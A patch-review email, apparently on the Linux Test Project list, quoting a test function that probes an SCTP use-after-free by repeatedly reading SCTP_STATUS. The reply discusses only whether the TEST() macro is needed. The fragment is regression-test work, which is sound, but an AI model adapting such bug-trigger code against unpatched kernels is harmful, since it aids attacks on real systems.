> > + * reading the association status dereferences the stale primary_path,
> > + * which KASAN reports as a use-after-free.
> > + */
> > +static void probe_uaf(void)
> > +{
> > +	uint8_t buf[512];
> > +	long delay = 1;
> > +	int i;
> > +
> > +	tst_res(TINFO, "probing the stale primary path via SCTP_STATUS");
> > +
> > +	for (i = 0; i < 12; i++) {
> > +		socklen_t len = sizeof(buf);
> > +
> > +		TEST(getsockopt(cli_fd, SOL_SCTP, SCTP_STATUS, buf, &len));
> What is the point of using TEST() macro here. Why not run getsockopt() directly?

Yeah I also removed it, but then messed up with undo history :-)
I will remove it again.

Regards,
--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

